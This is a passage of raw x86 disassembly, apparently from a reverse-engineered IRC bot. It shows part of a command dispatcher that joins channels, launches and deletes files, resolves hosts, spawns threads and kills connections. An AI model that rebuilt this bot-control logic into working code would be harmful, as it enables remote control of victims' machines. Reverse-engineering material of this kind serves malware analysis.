		lea	eax, [ebp+var_1E80]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		lea	eax, [ebp+var_157C]
		push	eax
		call	sub_409E8D
		push	eax
		lea	eax, [ebp+var_4454]
		push	eax
		lea	eax, [ebp+var_1D80]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_417D96
		mov	eax, [ebp+esi+var_84]
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+var_1C7C],	1
		mov	[ebp+var_1C78],	ebx
		jz	short loc_407AF5
		push	10h
		push	ebx
		push	eax
		call	sub_4182BE
		add	esp, 0Ch
		mov	[ebp+var_1C70],	eax
		jmp	short loc_407AFB
; ---------------------------------------------------------------------------


loc_407AF5:				; CODE XREF: sub_401AC7+6018j
		mov	[ebp+var_1C70],	ebx


loc_407AFB:				; CODE XREF: sub_401AC7+602Cj
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_407B12
		push	esi
		call	sub_417C89
		pop	ecx
		mov	[ebp+var_1C74],	eax
		jmp	short loc_407B18
; ---------------------------------------------------------------------------


loc_407B12:				; CODE XREF: sub_401AC7+603Aj
		mov	[ebp+var_1C74],	ebx


loc_407B18:				; CODE XREF: sub_401AC7+6049j
		movzx	eax, [ebp+var_8FB]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_1C6C],	eax
		lea	eax, [ebp+var_1F00]
		mov	[ebp+var_1F04],	esi
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		push	[ebp+arg_10]
		mov	[ebp+var_1C64],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C68],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CB04
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_2C4]
		push	1Eh
		push	eax
		call	sub_40A203
		add	esp, 24h
		mov	[ebp+var_1C80],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1F04]
		push	ebx
		push	eax
		push	offset sub_413F23
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1C80]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407BC5


loc_407BAF:				; CODE XREF: sub_401AC7+60FCj
		cmp	[ebp+var_1C60],	ebx
		jnz	loc_4063FE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407BAF
; ---------------------------------------------------------------------------


loc_407BC5:				; CODE XREF: sub_401AC7+60E6j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42CAC8
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_407BD6:				; CODE XREF: sub_401AC7+5FABj
		push	offset dword_42CA80


loc_407BDB:				; CODE XREF: sub_401AC7+28EBj
					; sub_401AC7+3CADj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_407BEE:				; CODE XREF: sub_401AC7+41F1j
					; sub_401AC7+4208j
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		cmp	[ebp+var_C], ebx
		jz	loc_401E8B
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA70
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 30h
		test	eax, eax
		jle	short loc_407C77
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 3E8h
		pop	ecx
		push	eax
		call	dword_423078	; Sleep


loc_407C77:				; CODE XREF: sub_401AC7+6198j
		push	offset dword_42CA5C
		call	sub_413B5E
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_407C8B:				; CODE XREF: sub_401AC7+41C3j
					; sub_401AC7+41DAj
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		inc	edi
		push	offset aRepeat	; "repeat"
		push	edi
		mov	esi, eax
		call	sub_418570
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_407D46
		push	[ebp+var_88]
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA70
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CA44
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 38h
		test	eax, eax
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_401E8E
; ---------------------------------------------------------------------------


loc_407D46:				; CODE XREF: sub_401AC7+6204j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CA10
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_4084EA
; ---------------------------------------------------------------------------


loc_407D5F:				; CODE XREF: sub_401AC7+4195j
					; sub_401AC7+41ACj
		push	7Fh
		lea	eax, [ebp+var_1C58]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1BD8]
		push	edi
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1B58]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1AD4],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_1AD0],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1C5C],	esi
		push	offset unk_42C9DC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Fh
		push	eax
		call	sub_40A203
		add	esp, 40h
		mov	[ebp+var_1AD8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C5C]
		push	ebx
		push	eax
		push	offset sub_412D7A
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1AD8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407E1C


loc_407E0A:				; CODE XREF: sub_401AC7+6353j
		cmp	[ebp+var_1ACC],	ebx
		jnz	short loc_407E37
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407E0A
; ---------------------------------------------------------------------------


loc_407E1C:				; CODE XREF: sub_401AC7+6341j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42C9A0


loc_407E28:				; CODE XREF: sub_401AC7+645Dj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_407E37:				; CODE XREF: sub_401AC7+6349j
					; sub_401AC7+6441j
		cmp	[ebp+var_8], ebx
		jnz	loc_408836
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_40882E
; ---------------------------------------------------------------------------


loc_407E57:				; CODE XREF: sub_401AC7+4167j
					; sub_401AC7+417Ej
		push	7Fh
		lea	eax, [ebp+var_1AC4]
		push	[ebp+arg_10]
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_1A44]
		push	edi
		push	eax
		call	sub_417B00
		push	7Fh
		lea	eax, [ebp+var_19C4]
		push	[ebp+var_88]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1940],	eax
		mov	eax, [ebp+var_8]
		push	edi
		mov	[ebp+var_193C],	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_1AC8],	esi
		push	offset dword_42C974
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40A203
		add	esp, 40h
		mov	[ebp+var_1944],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1AC8]
		push	ebx
		push	eax
		push	offset sub_412528
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_1944]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_407F18


loc_407F02:				; CODE XREF: sub_401AC7+644Fj
		cmp	[ebp+var_1938],	ebx
		jnz	loc_407E37
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_407F02
; ---------------------------------------------------------------------------


loc_407F18:				; CODE XREF: sub_401AC7+6439j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42C938
		jmp	loc_407E28
; ---------------------------------------------------------------------------


loc_407F29:				; CODE XREF: sub_401AC7+4139j
					; sub_401AC7+4150j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C930
		push	eax
		call	sub_417D96
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 10h


loc_407F46:				; CODE XREF: sub_401AC7+64EAj
		test	eax, eax
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45


loc_407F62:				; CODE XREF: sub_401AC7+6C61j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C928
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		jmp	loc_4043A5
; ---------------------------------------------------------------------------


loc_407F8D:				; CODE XREF: sub_401AC7+410Bj
					; sub_401AC7+4122j
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_42C91C
		push	eax
		call	sub_417D96
		push	[ebp+arg_10]
		call	sub_417C89
		add	esp, 14h
		jmp	short loc_407F46
; ---------------------------------------------------------------------------


loc_407FB3:				; CODE XREF: sub_401AC7+40DDj
					; sub_401AC7+40F4j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417C89
		add	esp, 10h
		test	eax, eax
		jle	loc_408A45
		push	esi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C928
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	edi
		push	esi
		push	offset dword_42C900


loc_408016:				; CODE XREF: sub_401AC7+65D7j
					; sub_401AC7+6643j ...
		call	sub_413BD2
		jmp	loc_403DDC
; ---------------------------------------------------------------------------


loc_408020:				; CODE XREF: sub_401AC7+40AFj
					; sub_401AC7+40C6j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_40804F
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C8F8
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_40804F:				; CODE XREF: sub_401AC7+6571j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	edi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_42C928
		push	edi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	esi
		push	edi
		push	offset dword_42C8DC
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_4080A3:				; CODE XREF: sub_401AC7+4081j
					; sub_401AC7+4098j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	edi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	esi
		push	offset dword_42C928
		push	edi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		push	esi
		push	edi
		push	offset dword_42C8C0
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_40810F:				; CODE XREF: sub_401AC7+4053j
					; sub_401AC7+406Aj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	esi
		push	offset unk_42C898


loc_408143:				; CODE XREF: sub_401AC7+6E48j
					; sub_401AC7+6E65j ...
		call	sub_413BD2
		jmp	loc_4031B8
; ---------------------------------------------------------------------------


loc_40814D:				; CODE XREF: sub_401AC7+4025j
					; sub_401AC7+403Cj
		push	[ebp+var_8C]
		push	offset dword_42EE68
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E8B
		push	edi
		push	offset dword_42C88C
		push	[ebp+arg_4]
		call	sub_408C17
		push	[ebp+arg_10]
		call	sub_417C89
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	dword_423078	; Sleep
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		push	offset dword_42C878
		call	sub_413B5E
		jmp	loc_4031B8
; ---------------------------------------------------------------------------


loc_4081B1:				; CODE XREF: sub_401AC7+3FF7j
					; sub_401AC7+400Ej
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_4176F0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408A45
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42CF40
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42C85C
		call	sub_413BD2
		add	esp, 2Ch
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_408223:				; CODE XREF: sub_401AC7+3FC9j
					; sub_401AC7+3FE0j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		call	sub_4176F0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_4176F0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417E10
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_408A45
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	esi
		push	[ebp+arg_10]
		push	offset unk_42C83C
		call	sub_413BD2
		add	esp, 20h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_40827D:				; CODE XREF: sub_401AC7+3F9Bj
					; sub_401AC7+3FB2j
		cmp	[ebp+var_C], ebx
		jz	loc_401E8B
		push	edi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E8B
		push	eax
		push	[ebp+arg_10]
		call	sub_413A66
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C81C
		push	eax
		call	sub_417D96
		add	esp, 14h
		jmp	loc_408815
; ---------------------------------------------------------------------------


loc_4082BE:				; CODE XREF: sub_401AC7+3F6Dj
					; sub_401AC7+3F84j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4155B6
		jmp	loc_403C4E
; ---------------------------------------------------------------------------


loc_4082D8:				; CODE XREF: sub_401AC7+3F2Fj
					; sub_401AC7+3F44j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_417E10
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A45
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_40837D
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408365
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_42CA70
		push	eax
		call	sub_417D96
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_417B00
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset unk_42C7F4
		push	eax
		call	sub_417D96
		add	esp, 34h
		inc	[ebp+arg_24]
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_408365:				; CODE XREF: sub_401AC7+6844j
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7C4
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_40837D:				; CODE XREF: sub_401AC7+682Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41761C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C7A8
		push	200h
		push	eax
		call	sub_417E90
		add	esp, 24h
		jmp	loc_40850B
; ---------------------------------------------------------------------------


loc_4083C6:				; CODE XREF: sub_401AC7+3A44j
					; sub_401AC7+3A59j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_417A18
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_408444
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41805F
		add	esp, 0Ch


loc_4083F1:				; CODE XREF: sub_401AC7+6959j
		test	eax, eax
		jz	short loc_408422
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41805F
		add	esp, 20h
		jmp	short loc_4083F1
; ---------------------------------------------------------------------------


loc_408422:				; CODE XREF: sub_401AC7+692Cj
		push	edi
		call	sub_41776B
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C784
		push	eax
		call	sub_417D96
		add	esp, 10h
		jmp	loc_40641F
; ---------------------------------------------------------------------------


loc_408444:				; CODE XREF: sub_401AC7+6912j
		push	[ebp+arg_10]
		push	offset unk_42C760
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_408451:				; CODE XREF: sub_401AC7+3A1Aj
					; sub_401AC7+3A2Fj
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_408A45
		push	offset asc_42C75C ; "\n"
		push	esi
		call	sub_4183C0
		push	esi
		call	sub_416AAE
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_408490
		push	offset unk_42C730
		jmp	short loc_4084DC
; ---------------------------------------------------------------------------


loc_408490:				; CODE XREF: sub_401AC7+69C0j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C718
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_40850B
; ---------------------------------------------------------------------------


loc_4084A7:				; CODE XREF: sub_401AC7+39F0j
					; sub_401AC7+3A05j
		cmp	[ebp+var_C], ebx
		jz	loc_408A45
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_408A45
		push	eax
		call	sub_4152E6
		test	eax, eax
		pop	ecx
		jnz	short loc_4084D7
		push	offset unk_42C6F8
		jmp	short loc_4084DC
; ---------------------------------------------------------------------------


loc_4084D7:				; CODE XREF: sub_401AC7+6A07j
		push	offset dword_42C6DC


loc_4084DC:				; CODE XREF: sub_401AC7+69C7j
					; sub_401AC7+6A0Ej
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_4084EA:				; CODE XREF: sub_401AC7+6293j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40850B
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40850B:				; CODE XREF: sub_401AC7+6899j
					; sub_401AC7+68B1j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_40851D:				; CODE XREF: sub_401AC7+39C6j
					; sub_401AC7+39DBj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40EA69
		push	[ebp+arg_10]
		push	offset dword_42C6C4
		jmp	loc_408016
; ---------------------------------------------------------------------------


loc_40853C:				; CODE XREF: sub_401AC7+399Cj
					; sub_401AC7+39B1j
		push	[ebp+arg_10]
		call	dword_423080	; DeleteFileA
		test	eax, eax
		jz	short loc_408553
		push	[ebp+arg_10]
		push	offset dword_42C6A8
		jmp	short loc_40855E
; ---------------------------------------------------------------------------


loc_408553:				; CODE XREF: sub_401AC7+6A80j
		push	offset dword_42CB7C
		call	sub_415221
		push	eax


loc_40855E:				; CODE XREF: sub_401AC7+6A8Aj
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		jmp	loc_408641
; ---------------------------------------------------------------------------


loc_408574:				; CODE XREF: sub_401AC7+3972j
					; sub_401AC7+3987j
		push	[ebp+arg_10]
		call	sub_417C89
		push	eax
		call	sub_416A27
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_408595
		push	offset unk_42C684
		jmp	short loc_40859A
; ---------------------------------------------------------------------------


loc_408595:				; CODE XREF: sub_401AC7+6AC5j
		push	offset unk_42C654


loc_40859A:				; CODE XREF: sub_401AC7+6ACCj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406422
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h
		jmp	loc_406422
; ---------------------------------------------------------------------------


loc_4085D3:				; CODE XREF: sub_401AC7+3948j
					; sub_401AC7+395Dj
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41671A
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4085F9
		push	offset unk_42C634
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4085F9:				; CODE XREF: sub_401AC7+6B26j
		push	offset unk_42C604
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_408603:				; CODE XREF: sub_401AC7+391Ej
					; sub_401AC7+3933j
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_408649
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4C97BC	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_408664
		push	dword ptr [eax]


loc_40862F:				; CODE XREF: sub_401AC7+6B9Bj
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_417D96


loc_408641:				; CODE XREF: sub_401AC7+6AA8j
		add	esp, 10h
		jmp	loc_4063FE
; ---------------------------------------------------------------------------


loc_408649:				; CODE XREF: sub_401AC7+6B4Fj
		push	esi
		call	dword_4C9880	; gethostbyname
		cmp	eax, ebx
		jz	short loc_408664
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4C9888	; inet_ntoa
		push	eax
		jmp	short loc_40862F
; ---------------------------------------------------------------------------


loc_408664:				; CODE XREF: sub_401AC7+6B64j
					; sub_401AC7+6B8Bj
		push	offset unk_42C5BC
		jmp	loc_407BDB
; ---------------------------------------------------------------------------


loc_40866E:				; CODE XREF: sub_401AC7+38F4j
					; sub_401AC7+3909j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_417B00
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C594
		push	eax
		call	sub_417D96
		add	esp, 18h
		jmp	loc_4079A7
; ---------------------------------------------------------------------------


loc_408697:				; CODE XREF: sub_401AC7+38CAj
					; sub_401AC7+38DFj
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4C9778
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4086BB
		push	offset unk_42C574
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4086BB:				; CODE XREF: sub_401AC7+6BE8j
		push	offset unk_42C550
		jmp	loc_4063EF
; ---------------------------------------------------------------------------


loc_4086C5:				; CODE XREF: sub_401AC7+38A0j
					; sub_401AC7+38B5j
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_425090, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_42C528
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_4086DE:				; CODE XREF: sub_401AC7+3876j
					; sub_401AC7+388Bj
		push	[ebp+arg_10]
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_408A45
		push	[ebp+arg_10]
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_408A45
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40A19A
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42DCBC
		push	eax
		call	sub_417D96
		add	esp, 1Ch
		jmp	loc_407F62
; ---------------------------------------------------------------------------


loc_40872D:				; CODE XREF: sub_401AC7+384Cj
					; sub_401AC7+3861j
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jle	loc_401E8B
		push	esi
		call	sub_417C89
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E8B
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	sub_408C17
		pop	ecx
		pop	ecx
		push	1F4h
		call	dword_423078	; Sleep
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C74C[eax]
		call	dword_4C9894	; closesocket
		push	[ebp+var_10]
		push	esi
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		push	dword_43C754[eax]
		call	dword_4230AC	; TerminateThread
		push	esi
		call	sub_417C89
		imul	eax, 234h
		push	esi
		mov	dword_43C754[eax], ebx
		call	sub_417C89
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43C540[eax], bl
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_4087DB:				; CODE XREF: sub_401AC7+3822j
					; sub_401AC7+3837j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408847
		call	sub_40A3CC
		cmp	eax, ebx
		jle	short loc_408802
		push	eax
		push	offset unk_42C4FC
		jmp	loc_406A42
; ---------------------------------------------------------------------------


loc_408802:				; CODE XREF: sub_401AC7+6D2Ej
		push	offset unk_42C4D4


loc_408807:				; CODE XREF: sub_401AC7+2049j
					; sub_401AC7+2068j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_408815:				; CODE XREF: sub_401AC7+4F8Aj
					; sub_401AC7+67F2j
		cmp	[ebp+var_8], ebx
		jnz	short loc_408836
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_40882E:				; CODE XREF: sub_401AC7+638Bj
